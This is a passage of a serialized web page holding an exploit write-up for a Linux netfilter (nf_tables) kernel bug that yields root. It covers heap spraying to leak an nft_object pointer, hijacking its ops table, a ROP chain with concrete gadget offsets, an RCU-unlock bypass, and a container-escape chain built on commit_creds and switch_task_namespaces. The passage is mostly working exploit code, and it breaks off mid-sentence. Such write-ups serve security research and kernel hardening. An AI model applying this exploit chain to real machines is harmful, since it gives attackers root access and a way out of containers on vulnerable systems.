7386},"    uint64_t",{"type":23,"tag":230,"props":57388,"children":57389},{"style":268},[57390],{"type":29,"value":12147},{"type":23,"tag":230,"props":57392,"children":57393},{"style":274},[57394],{"type":29,"value":57395},"fake_obj ",{"type":23,"tag":230,"props":57397,"children":57398},{"style":268},[57399],{"type":29,"value":863},{"type":23,"tag":230,"props":57401,"children":57402},{"style":274},[57403],{"type":29,"value":664},{"type":23,"tag":230,"props":57405,"children":57406},{"style":256},[57407],{"type":29,"value":57408},"uint64_t",{"type":23,"tag":230,"props":57410,"children":57411},{"style":268},[57412],{"type":29,"value":12147},{"type":23,"tag":230,"props":57414,"children":57415},{"style":274},[57416],{"type":29,"value":5467},{"type":23,"tag":230,"props":57418,"children":57419},{"style":294},[57420],{"type":29,"value":57421},"getudata",{"type":23,"tag":230,"props":57423,"children":57424},{"style":274},[57425],{"type":29,"value":57306},{"type":23,"tag":230,"props":57427,"children":57428},{"style":380},[57429],{"type":29,"value":57430},"\"spray-2\"",{"type":23,"tag":230,"props":57432,"children":57433},{"style":274},[57434],{"type":29,"value":753},{"type":23,"tag":230,"props":57436,"children":57437},{"class":232,"line":4627},[57438],{"type":23,"tag":230,"props":57439,"children":57440},{"style":274},[57441],{"type":29,"value":12649},{"type":23,"tag":59,"props":57443,"children":57445},{"id":57444},"leaking-self-pointer-of-nft_object",[57446,57448],{"type":29,"value":57447},"Leaking self pointer of ",{"type":23,"tag":71,"props":57449,"children":57451},{"className":57450},[],[57452],{"type":29,"value":56887},{"type":23,"tag":32,"props":57454,"children":57455},{},[57456,57458,57463,57465,57470,57472,57477,57479,57485],{"type":29,"value":57457},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":71,"props":57459,"children":57461},{"className":57460},[],[57462],{"type":29,"value":56887},{"type":29,"value":57464}," to get its own address. This is possible because the ",{"type":23,"tag":71,"props":57466,"children":57468},{"className":57467},[],[57469],{"type":29,"value":56887},{"type":29,"value":57471}," has a ",{"type":23,"tag":71,"props":57473,"children":57475},{"className":57474},[],[57476],{"type":29,"value":56872},{"type":29,"value":57478}," pointer (similar to ",{"type":23,"tag":71,"props":57480,"children":57482},{"className":57481},[],[57483],{"type":29,"value":57484},"table->udata",{"type":29,"value":57486}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":32,"props":57488,"children":57489},{},[57490,57491,57496,57498,57504,57506,57511,57513,57519,57521,57527,57529,57534,57536,57541,57543,57548,57550],{"type":29,"value":980},{"type":23,"tag":71,"props":57492,"children":57494},{"className":57493},[],[57495],{"type":29,"value":56887},{"type":29,"value":57497}," struct also contains a ",{"type":23,"tag":71,"props":57499,"children":57501},{"className":57500},[],[57502],{"type":29,"value":57503},"list_head",{"type":29,"value":57505}," inserted in a circular list containing all ",{"type":23,"tag":71,"props":57507,"children":57509},{"className":57508},[],[57510],{"type":29,"value":56887},{"type":29,"value":57512},"'s that belong to a given ",{"type":23,"tag":71,"props":57514,"children":57516},{"className":57515},[],[57517],{"type":29,"value":57518},"table",{"type":29,"value":57520},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":71,"props":57522,"children":57524},{"className":57523},[],[57525],{"type":29,"value":57526},"table->list.next",{"type":29,"value":57528}," pointer in the ",{"type":23,"tag":71,"props":57530,"children":57532},{"className":57531},[],[57533],{"type":29,"value":56887},{"type":29,"value":57535}," will point back to the ",{"type":23,"tag":71,"props":57537,"children":57539},{"className":57538},[],[57540],{"type":29,"value":57503},{"type":29,"value":57542}," contained in the ",{"type":23,"tag":71,"props":57544,"children":57546},{"className":57545},[],[57547],{"type":29,"value":57518},{"type":29,"value":57549}," and vice-versa.\n",{"type":23,"tag":93,"props":57551,"children":57553},{"alt":52351,"src":57552},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":32,"props":57555,"children":57556},{},[57557,57559,57564,57566,57571,57573,57579,57581,57586,57587,57592,57594,57599,57601,57606],{"type":29,"value":57558},"In short, that means that if we swap the ",{"type":23,"tag":71,"props":57560,"children":57562},{"className":57561},[],[57563],{"type":29,"value":56872},{"type":29,"value":57565}," pointer of the ",{"type":23,"tag":71,"props":57567,"children":57569},{"className":57568},[],[57570],{"type":29,"value":56887},{"type":29,"value":57572}," with its own ",{"type":23,"tag":71,"props":57574,"children":57576},{"className":57575},[],[57577],{"type":29,"value":57578},"list.next",{"type":29,"value":57580}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":71,"props":57582,"children":57584},{"className":57583},[],[57585],{"type":29,"value":56887},{"type":29,"value":54112},{"type":23,"tag":71,"props":57588,"children":57590},{"className":57589},[],[57591],{"type":29,"value":57503},{"type":29,"value":57593}," which is also the start of the ",{"type":23,"tag":71,"props":57595,"children":57597},{"className":57596},[],[57598],{"type":29,"value":56887},{"type":29,"value":57600}," itself.\n",{"type":23,"tag":2302,"props":57602,"children":57603},{},[57604],{"type":29,"value":57605},"NOTE:",{"type":29,"value":57607}," This is a novel small trick.",{"type":23,"tag":220,"props":57609,"children":57611},{"className":31417,"code":57610,"language":31419,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[57612],{"type":23,"tag":71,"props":57613,"children":57614},{"__ignoreMap":7},[57615,57622,57630,57643,57691,57718,57729,57767,57774,57803,57833],{"type":23,"tag":230,"props":57616,"children":57617},{"class":232,"line":233},[57618],{"type":23,"tag":230,"props":57619,"children":57620},{"style":274},[57621],{"type":29,"value":12649},{"type":23,"tag":230,"props":57623,"children":57624},{"class":232,"line":243},[57625],{"type":23,"tag":230,"props":57626,"children":57627},{"style":274},[57628],{"type":29,"value":57629},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":230,"props":57631,"children":57632},{"class":232,"line":252},[57633,57638],{"type":23,"tag":230,"props":57634,"children":57635},{"style":274},[57636],{"type":29,"value":57637},"    fake_obj[8] = 8;",{"type":23,"tag":230,"props":57639,"children":57640},{"style":237},[57641],{"type":29,"value":57642},"           // ulen = 8\n",{"type":23,"tag":230,"props":57644,"children":57645},{"class":232,"line":280},[57646,57651,57655,57660,57664,57668,57673,57677,57681,57686],{"type":23,"tag":230,"props":57647,"children":57648},{"style":262},[57649],{"type":29,"value":57650},"    fake_obj",{"type":23,"tag":230,"props":57652,"children":57653},{"style":274},[57654],{"type":29,"value":6069},{"type":23,"tag":230,"props":57656,"children":57657},{"style":5149},[57658],{"type":29,"value":57659},"9",{"type":23,"tag":230,"props":57661,"children":57662},{"style":274},[57663],{"type":29,"value":10997},{"type":23,"tag":230,"props":57665,"children":57666},{"style":268},[57667],{"type":29,"value":863},{"type":23,"tag":230,"props":57669,"children":57670},{"style":262},[57671],{"type":29,"value":57672}," fake_obj",{"type":23,"tag":230,"props":57674,"children":57675},{"style":274},[57676],{"type":29,"value":6069},{"type":23,"tag":230,"props":57678,"children":57679},{"style":5149},[57680],{"type":29,"value":6358},{"type":23,"tag":230,"props":57682,"children":57683},{"style":274},[57684],{"type":29,"value":57685},"];",{"type":23,"tag":230,"props":57687,"children":57688},{"style":237},[57689],{"type":29,"value":57690}," // udata = list->next\n",{"type":23,"tag":230,"props":57692,"children":57693},{"class":232,"line":334},[57694,57698,57702,57706,57710,57714],{"type":23,"tag":230,"props":57695,"children":57696},{"style":294},[57697],{"type":29,"value":57301},{"type":23,"tag":230,"props":57699,"children":57700},{"style":274},[57701],{"type":29,"value":57306},{"type":23,"tag":230,"props":57703,"children":57704},{"style":5149},[57705],{"type":29,"value":5462},{"type":23,"tag":230,"props":57707,"children":57708},{"style":274},[57709],{"type":29,"value":684},{"type":23,"tag":230,"props":57711,"children":57712},{"style":5149},[57713],{"type":29,"value":6348},{"type":23,"tag":230,"props":57715,"children":57716},{"style":274},[57717],{"type":29,"value":753},{"type":23,"tag":230,"props":57719,"children":57720},{"class":232,"line":371},[57721,57725],{"type":23,"tag":230,"props":57722,"children":57723},{"style":294},[57724],{"type":29,"value":57330},{"type":23,"tag":230,"props":57726,"children":57727},{"style":274},[57728],{"type":29,"value":2140},{"type":23,"tag":230,"props":57730,"children":57731},{"class":232,"line":391},[57732,57737,57741,57746,57750,57754,57758,57762],{"type":23,"tag":230,"props":57733,"children":57734},{"style":294},[57735],{"type":29,"value":57736},"    udata_spray",{"type":23,"tag":230,"props":57738,"children":57739},{"style":274},[57740],{"type":29,"value":57306},{"type":23,"tag":230,"props":57742,"children":57743},{"style":5149},[57744],{"type":29,"value":57745},"0xe8",{"type":23,"tag":230,"props":57747,"children":57748},{"style":274},[57749],{"type":29,"value":684},{"type":23,"tag":230,"props":57751,"children":57752},{"style":5149},[57753],{"type":29,"value":19616},{"type":23,"tag":230,"props":57755,"children":57756},{"style":274},[57757],{"type":29,"value":684},{"type":23,"tag":230,"props":57759,"children":57760},{"style":5149},[57761],{"type":29,"value":6348},{"type":23,"tag":230,"props":57763,"children":57764},{"style":274},[57765],{"type":29,"value":57766},", fake_obj);\n",{"type":23,"tag":230,"props":57768,"children":57769},{"class":232,"line":400},[57770],{"type":23,"tag":230,"props":57771,"children":57772},{"emptyLinePlaceholder":18},[57773],{"type":29,"value":459},{"type":23,"tag":230,"props":57775,"children":57776},{"class":232,"line":444},[57777,57782,57786,57791,57795,57799],{"type":23,"tag":230,"props":57778,"children":57779},{"style":294},[57780],{"type":29,"value":57781},"    get_obj",{"type":23,"tag":230,"props":57783,"children":57784},{"style":274},[57785],{"type":29,"value":57306},{"type":23,"tag":230,"props":57787,"children":57788},{"style":380},[57789],{"type":29,"value":57790},"\"spray-0\"",{"type":23,"tag":230,"props":57792,"children":57793},{"style":274},[57794],{"type":29,"value":684},{"type":23,"tag":230,"props":57796,"children":57797},{"style":256},[57798],{"type":29,"value":1726},{"type":23,"tag":230,"props":57800,"children":57801},{"style":274},[57802],{"type":29,"value":753},{"type":23,"tag":230,"props":57804,"children":57805},{"class":232,"line":453},[57806,57811,57815,57820,57824,57828],{"type":23,"tag":230,"props":57807,"children":57808},{"style":294},[57809],{"type":29,"value":57810},"    printf",{"type":23,"tag":230,"props":57812,"children":57813},{"style":274},[57814],{"type":29,"value":302},{"type":23,"tag":230,"props":57816,"children":57817},{"style":380},[57818],{"type":29,"value":57819},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":230,"props":57821,"children":57822},{"style":50145},[57823],{"type":29,"value":50148},{"type":23,"tag":230,"props":57825,"children":57826},{"style":380},[57827],{"type":29,"value":22374},{"type":23,"tag":230,"props":57829,"children":57830},{"style":274},[57831],{"type":29,"value":57832},", obj_ptr);\n",{"type":23,"tag":230,"props":57834,"children":57835},{"class":232,"line":462},[57836],{"type":23,"tag":230,"props":57837,"children":57838},{"style":274},[57839],{"type":29,"value":12649},{"type":23,"tag":59,"props":57841,"children":57843},{"id":57842},"hijacking-control-flow",[57844],{"type":29,"value":57845},"Hijacking control-flow",{"type":23,"tag":32,"props":57847,"children":57848},{},[57849,57851,57856,57858,57863,57865,57870,57872,57877,57879,57884,57886],{"type":29,"value":57850},"To hijack control-flow, we can use ",{"type":23,"tag":71,"props":57852,"children":57854},{"className":57853},[],[57855],{"type":29,"value":56887},{"type":29,"value":57857}," once again. The ",{"type":23,"tag":71,"props":57859,"children":57861},{"className":57860},[],[57862],{"type":29,"value":56887},{"type":29,"value":57864}," struct has an ",{"type":23,"tag":71,"props":57866,"children":57868},{"className":57867},[],[57869],{"type":29,"value":54443},{"type":29,"value":57871}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":71,"props":57873,"children":57875},{"className":57874},[],[57876],{"type":29,"value":54443},{"type":29,"value":57878}," pointer with the ",{"type":23,"tag":71,"props":57880,"children":57882},{"className":57881},[],[57883],{"type":29,"value":56872},{"type":29,"value":57885}," pointer, taking control of the pointer table.\n",{"type":23,"tag":93,"props":57887,"children":57889},{"alt":52351,"src":57888},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":220,"props":57891,"children":57893},{"className":31417,"code":57892,"language":31419,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[57894],{"type":23,"tag":71,"props":57895,"children":57896},{"__ignoreMap":7},[57897,57904,57912,57936,57983,58019,58026,58034,58066,58074,58082,58103,58111,58119,58183,58190,58198,58206,58213,58221,58255,58263,58270,58278,58285,58293,58326,58347],{"type":23,"tag":230,"props":57898,"children":57899},{"class":232,"line":233},[57900],{"type":23,"tag":230,"props":57901,"children":57902},{"style":274},[57903],{"type":29,"value":12649},{"type":23,"tag":230,"props":57905,"children":57906},{"class":232,"line":243},[57907],{"type":23,"tag":230,"props":57908,"children":57909},{"style":274},[57910],{"type":29,"value":57911},"    // Fake ops\n",{"type":23,"tag":230,"props":57913,"children":57914},{"class":232,"line":252},[57915,57920,57924,57928,57932],{"type":23,"tag":230,"props":57916,"children":57917},{"style":274},[57918],{"type":29,"value":57919},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":230,"props":57921,"children":57922},{"style":676},[57923],{"type":29,"value":57101},{"type":23,"tag":230,"props":57925,"children":57926},{"style":274},[57927],{"type":29,"value":302},{"type":23,"tag":230,"props":57929,"children":57930},{"style":256},[57931],{"type":29,"value":57408},{"type":23,"tag":230,"props":57933,"children":57934},{"style":274},[57935],{"type":29,"value":9559},{"type":23,"tag":230,"props":57937,"children":57938},{"class":232,"line":280},[57939,57944,57948,57952,57956,57960,57965,57969,57974,57978],{"type":23,"tag":230,"props":57940,"children":57941},{"style":262},[57942],{"type":29,"value":57943},"    rop",{"type":23,"tag":230,"props":57945,"children":57946},{"style":274},[57947],{"type":29,"value":6069},{"type":23,"tag":230,"props":57949,"children":57950},{"style":5149},[57951],{"type":29,"value":6358},{"type":23,"tag":230,"props":57953,"children":57954},{"style":274},[57955],{"type":29,"value":10997},{"type":23,"tag":230,"props":57957,"children":57958},{"style":268},[57959],{"type":29,"value":863},{"type":23,"tag":230,"props":57961,"children":57962},{"style":274},[57963],{"type":29,"value":57964}," kaslr_slide ",{"type":23,"tag":230,"props":57966,"children":57967},{"style":268},[57968],{"type":29,"value":6719},{"type":23,"tag":230,"props":57970,"children":57971},{"style":5149},[57972],{"type":29,"value":57973}," 0xffffffff81988647",{"type":23,"tag":230,"props":57975,"children":57976},{"style":274},[57977],{"type":29,"value":50846},{"type":23,"tag":230,"props":57979,"children":57980},{"style":237},[57981],{"type":29,"value":57982}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":230,"props":57984,"children":57985},{"class":232,"line":334},[57986,57990,57994,57998,58002,58006,58010,58014],{"type":23,"tag":230,"props":57987,"children":57988},{"style":262},[57989],{"type":29,"value":57943},{"type":23,"tag":230,"props":57991,"children":57992},{"style":274},[57993],{"type":29,"value":6069},{"type":23,"tag":230,"props":57995,"children":57996},{"style":5149},[57997],{"type":29,"value":5462},{"type":23,"tag":230,"props":57999,"children":58000},{"style":274},[58001],{"type":29,"value":10997},{"type":23,"tag":230,"props":58003,"children":58004},{"style":268},[58005],{"type":29,"value":863},{"type":23,"tag":230,"props":58007,"children":58008},{"style":274},[58009],{"type":29,"value":57964},{"type":23,"tag":230,"props":58011,"children":58012},{"style":268},[58013],{"type":29,"value":6719},{"type":23,"tag":230,"props":58015,"children":58016},{"style":274},[58017],{"type":29,"value":58018}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":230,"props":58020,"children":58021},{"class":232,"line":371},[58022],{"type":23,"tag":230,"props":58023,"children":58024},{"style":274},[58025],{"type":29,"value":12649},{"type":23,"tag":230,"props":58027,"children":58028},{"class":232,"line":391},[58029],{"type":23,"tag":230,"props":58030,"children":58031},{"style":274},[58032],{"type":29,"value":58033},"    // Send ROP in object udata\n",{"type":23,"tag":230,"props":58035,"children":58036},{"class":232,"line":400},[58037,58042,58046,58051,58056,58061],{"type":23,"tag":230,"props":58038,"children":58039},{"style":274},[58040],{"type":29,"value":58041},"    del_obj(",{"type":23,"tag":230,"props":58043,"children":58044},{"style":676},[58045],{"type":29,"value":56063},{"type":23,"tag":230,"props":58047,"children":58048},{"style":274},[58049],{"type":29,"value":58050},", \"",{"type":23,"tag":230,"props":58052,"children":58053},{"style":676},[58054],{"type":29,"value":58055},"spray",{"type":23,"tag":230,"props":58057,"children":58058},{"style":274},[58059],{"type":29,"value":58060},"-0",{"type":23,"tag":230,"props":58062,"children":58063},{"style":380},[58064],{"type":29,"value":58065},"\");\n",{"type":23,"tag":230,"props":58067,"children":58068},{"class":232,"line":444},[58069],{"type":23,"tag":230,"props":58070,"children":58071},{"style":380},[58072],{"type":29,"value":58073},"    wait_destroyer();\n",{"type":23,"tag":230,"props":58075,"children":58076},{"class":232,"line":453},[58077],{"type":23,"tag":230,"props":58078,"children":58079},{"style":380},[58080],{"type":29,"value":58081},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":230,"props":58083,"children":58084},{"class":232,"line":462},[58085,58090,58094,58099],{"type":23,"tag":230,"props":58086,"children":58087},{"style":380},[58088],{"type":29,"value":58089},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":230,"props":58091,"children":58092},{"style":256},[58093],{"type":29,"value":58055},{"type":23,"tag":230,"props":58095,"children":58096},{"style":274},[58097],{"type":29,"value":58098},"-3",{"type":23,"tag":230,"props":58100,"children":58101},{"style":380},[58102],{"type":29,"value":58065},{"type":23,"tag":230,"props":58104,"children":58105},{"class":232,"line":471},[58106],{"type":23,"tag":230,"props":58107,"children":58108},{"style":380},[58109],{"type":29,"value":58110},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":230,"props":58112,"children":58113},{"class":232,"line":500},[58114],{"type":23,"tag":230,"props":58115,"children":58116},{"style":380},[58117],{"type":29,"value":58118},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":230,"props":58120,"children":58121},{"class":232,"line":514},[58122,58127,58131,58135,58139,58144,58149,58154,58158,58163,58168,58173,58178],{"type":23,"tag":230,"props":58123,"children":58124},{"style":380},[58125],{"type":29,"value":58126},"    printf(\"",{"type":23,"tag":230,"props":58128,"children":58129},{"style":274},[58130],{"type":29,"value":6069},{"type":23,"tag":230,"props":58132,"children":58133},{"style":268},[58134],{"type":29,"value":6909},{"type":23,"tag":230,"props":58136,"children":58137},{"style":274},[58138],{"type":29,"value":10997},{"type":23,"tag":230,"props":58140,"children":58141},{"style":676},[58142],{"type":29,"value":58143},"ROP",{"type":23,"tag":230,"props":58145,"children":58146},{"style":676},[58147],{"type":29,"value":58148}," addr",{"type":23,"tag":230,"props":58150,"children":58151},{"style":274},[58152],{"type":29,"value":58153},": 0",{"type":23,"tag":230,"props":58155,"children":58156},{"style":676},[58157],{"type":29,"value":4511},{"type":23,"tag":230,"props":58159,"children":58160},{"style":274},[58161],{"type":29,"value":58162},"%",{"type":23,"tag":230,"props":58164,"children":58165},{"style":676},[58166],{"type":29,"value":58167},"lx",{"type":23,"tag":230,"props":58169,"children":58170},{"style":274},[58171],{"type":29,"value":58172},"\\",{"type":23,"tag":230,"props":58174,"children":58175},{"style":676},[58176],{"type":29,"value":58177},"n",{"type":23,"tag":230,"props":58179,"children":58180},{"style":380},[58181],{"type":29,"value":58182},"\", rop_addr);\n",{"type":23,"tag":230,"props":58184,"children":58185},{"class":232,"line":897},[58186],{"type":23,"tag":230,"props":58187,"children":58188},{"emptyLinePlaceholder":18},[58189],{"type":29,"value":459},{"type":23,"tag":230,"props":58191,"children":58192},{"class":232,"line":960},[58193],{"type":23,"tag":230,"props":58194,"children":58195},{"style":380},[58196],{"type":29,"value":58197},"    // Point to fake ops\n",{"type":23,"tag":230,"props":58199,"children":58200},{"class":232,"line":969},[58201],{"type":23,"tag":230,"props":58202,"children":58203},{"style":380},[58204],{"type":29,"value":58205},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":230,"props":58207,"children":58208},{"class":232,"line":4526},[58209],{"type":23,"tag":230,"props":58210,"children":58211},{"style":380},[58212],{"type":29,"value":12649},{"type":23,"tag":230,"props":58214,"children":58215},{"class":232,"line":4534},[58216],{"type":23,"tag":230,"props":58217,"children":58218},{"style":380},[58219],{"type":29,"value":58220},"    // Write ROP\n",{"type":23,"tag":230,"props":58222,"children":58223},{"class":232,"line":4542},[58224,58229,58233,58237,58241,58246,58251],{"type":23,"tag":230,"props":58225,"children":58226},{"style":380},[58227],{"type":29,"value":58228},"    puts(\"",{"type":23,"tag":230,"props":58230,"children":58231},{"style":274},[58232],{"type":29,"value":6069},{"type":23,"tag":230,"props":58234,"children":58235},{"style":268},[58236],{"type":29,"value":6909},{"type":23,"tag":230,"props":58238,"children":58239},{"style":274},[58240],{"type":29,"value":10997},{"type":23,"tag":230,"props":58242,"children":58243},{"style":676},[58244],{"type":29,"value":58245},"Write",{"type":23,"tag":230,"props":58247,"children":58248},{"style":676},[58249],{"type":29,"value":58250}," ROP",{"type":23,"tag":230,"props":58252,"children":58253},{"style":380},[58254],{"type":29,"value":58065},{"type":23,"tag":230,"props":58256,"children":58257},{"class":232,"line":4559},[58258],{"type":23,"tag":230,"props":58259,"children":58260},{"style":380},[58261],{"type":29,"value":58262},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":230,"props":58264,"children":58265},{"class":232,"line":4587},[58266],{"type":23,"tag":230,"props":58267,"children":58268},{"style":380},[58269],{"type":29,"value":58073},{"type":23,"tag":230,"props":58271,"children":58272},{"class":232,"line":4595},[58273],{"type":23,"tag":230,"props":58274,"children":58275},{"style":380},[58276],{"type":29,"value":58277},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":230,"props":58279,"children":58280},{"class":232,"line":4619},[58281],{"type":23,"tag":230,"props":58282,"children":58283},{"emptyLinePlaceholder":18},[58284],{"type":29,"value":459},{"type":23,"tag":230,"props":58286,"children":58287},{"class":232,"line":4627},[58288],{"type":23,"tag":230,"props":58289,"children":58290},{"style":380},[58291],{"type":29,"value":58292},"    // Takeover RIP\n",{"type":23,"tag":230,"props":58294,"children":58295},{"class":232,"line":4659},[58296,58300,58304,58308,58312,58317,58322],{"type":23,"tag":230,"props":58297,"children":58298},{"style":380},[58299],{"type":29,"value":58228},{"type":23,"tag":230,"props":58301,"children":58302},{"style":274},[58303],{"type":29,"value":6069},{"type":23,"tag":230,"props":58305,"children":58306},{"style":268},[58307],{"type":29,"value":6909},{"type":23,"tag":230,"props":58309,"children":58310},{"style":274},[58311],{"type":29,"value":10997},{"type":23,"tag":230,"props":58313,"children":58314},{"style":676},[58315],{"type":29,"value":58316},"Takeover",{"type":23,"tag":230,"props":58318,"children":58319},{"style":676},[58320],{"type":29,"value":58321}," RIP",{"type":23,"tag":230,"props":58323,"children":58324},{"style":380},[58325],{"type":29,"value":58065},{"type":23,"tag":230,"props":58327,"children":58328},{"class":232,"line":4671},[58329,58334,58338,58343],{"type":23,"tag":230,"props":58330,"children":58331},{"style":380},[58332],{"type":29,"value":58333},"    dump_obj(nl, \"",{"type":23,"tag":230,"props":58335,"children":58336},{"style":256},[58337],{"type":29,"value":58055},{"type":23,"tag":230,"props":58339,"children":58340},{"style":274},[58341],{"type":29,"value":58342},"-1",{"type":23,"tag":230,"props":58344,"children":58345},{"style":380},[58346],{"type":29,"value":58065},{"type":23,"tag":230,"props":58348,"children":58349},{"class":232,"line":4688},[58350],{"type":23,"tag":230,"props":58351,"children":58352},{"style":380},[58353],{"type":29,"value":12649},{"type":23,"tag":59,"props":58355,"children":58357},{"id":58356},"bypass-context-switch-in-rcu-critical-section",[58358],{"type":29,"value":58359},"Bypass context switch in RCU critical-section",{"type":23,"tag":32,"props":58361,"children":58362},{},[58363,58364,58369],{"type":29,"value":980},{"type":23,"tag":71,"props":58365,"children":58367},{"className":58366},[],[58368],{"type":29,"value":56887},{"type":29,"value":58370}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":32,"props":58372,"children":58373},{},[58374,58376,58383,58385,58391,58393,58399],{"type":29,"value":58375},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":181,"props":58377,"children":58380},{"href":58378,"rel":58379},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[185],[58381],{"type":29,"value":58382},"previous kernelCTF submission",{"type":29,"value":58384}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":71,"props":58386,"children":58388},{"className":58387},[],[58389],{"type":29,"value":58390},"task_struct",{"type":29,"value":58392}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":71,"props":58394,"children":58396},{"className":58395},[],[58397],{"type":29,"value":58398},"__rcu_read_unlock()",{"type":29,"value":58400}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":220,"props":58402,"children":58404},{"className":31417,"code":58403,"language":31419,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[58405],{"type":23,"tag":71,"props":58406,"children":58407},{"__ignoreMap":7},[58408,58416,58440,58447],{"type":23,"tag":230,"props":58409,"children":58410},{"class":232,"line":233},[58411],{"type":23,"tag":230,"props":58412,"children":58413},{"style":237},[58414],{"type":29,"value":58415},"    // ROP stage 1\n",{"type":23,"tag":230,"props":58417,"children":58418},{"class":232,"line":243},[58419,58423,58428,58432,58436],{"type":23,"tag":230,"props":58420,"children":58421},{"style":256},[58422],{"type":29,"value":21393},{"type":23,"tag":230,"props":58424,"children":58425},{"style":274},[58426],{"type":29,"value":58427}," pos ",{"type":23,"tag":230,"props":58429,"children":58430},{"style":268},[58431],{"type":29,"value":863},{"type":23,"tag":230,"props":58433,"children":58434},{"style":5149},[58435],{"type":29,"value":21415},{"type":23,"tag":230,"props":58437,"children":58438},{"style":274},[58439],{"type":29,"value":511},{"type":23,"tag":230,"props":58441,"children":58442},{"class":232,"line":252},[58443],{"type":23,"tag":230,"props":58444,"children":58445},{"emptyLinePlaceholder":18},[58446],{"type":29,"value":459},{"type":23,"tag":230,"props":58448,"children":58449},{"class":232,"line":280},[58450,58454,58459,58463,58467,58471,58475,58479],{"type":23,"tag":230,"props":58451,"children":58452},{"style":262},[58453],{"type":29,"value":57943},{"type":23,"tag":230,"props":58455,"children":58456},{"style":274},[58457],{"type":29,"value":58458},"[pos",{"type":23,"tag":230,"props":58460,"children":58461},{"style":268},[58462],{"type":29,"value":53042},{"type":23,"tag":230,"props":58464,"children":58465},{"style":274},[58466],{"type":29,"value":10997},{"type":23,"tag":230,"props":58468,"children":58469},{"style":268},[58470],{"type":29,"value":863},{"type":23,"tag":230,"props":58472,"children":58473},{"style":274},[58474],{"type":29,"value":57964},{"type":23,"tag":230,"props":58476,"children":58477},{"style":268},[58478],{"type":29,"value":6719},{"type":23,"tag":230,"props":58480,"children":58481},{"style":274},[58482],{"type":29,"value":58483}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":59,"props":58485,"children":58487},{"id":58486},"rop",[58488],{"type":29,"value":58143},{"type":23,"tag":32,"props":58490,"children":58491},{},[58492],{"type":29,"value":58493},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":98,"props":58495,"children":58496},{},[58497,58508,58519],{"type":23,"tag":102,"props":58498,"children":58499},{},[58500,58506],{"type":23,"tag":71,"props":58501,"children":58503},{"className":58502},[],[58504],{"type":29,"value":58505},"commit_creds(&init_cred);",{"type":29,"value":58507}," Commit root credentials to our process",{"type":23,"tag":102,"props":58509,"children":58510},{},[58511,58517],{"type":23,"tag":71,"props":58512,"children":58514},{"className":58513},[],[58515],{"type":29,"value":58516},"task = find_task_by_vpid(1);",{"type":29,"value":58518}," Find the root process of our namespace",{"type":23,"tag":102,"props":58520,"children":58521},{},[58522,58528],{"type":23,"tag":71,"props":58523,"children":58525},{"className":58524},[],[58526],{"type":29,"value":58527},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":58529}," Move it to the root namespace",{"type":23,"tag":32,"props":58531,"children":58532},{},[58533,58535,58541,58543,58549,58551,58557,58559,58565,58567,58572,58574,58580],{"type":29,"value":58534},"However, I had a hard time finding gadgets to easily move the return value of 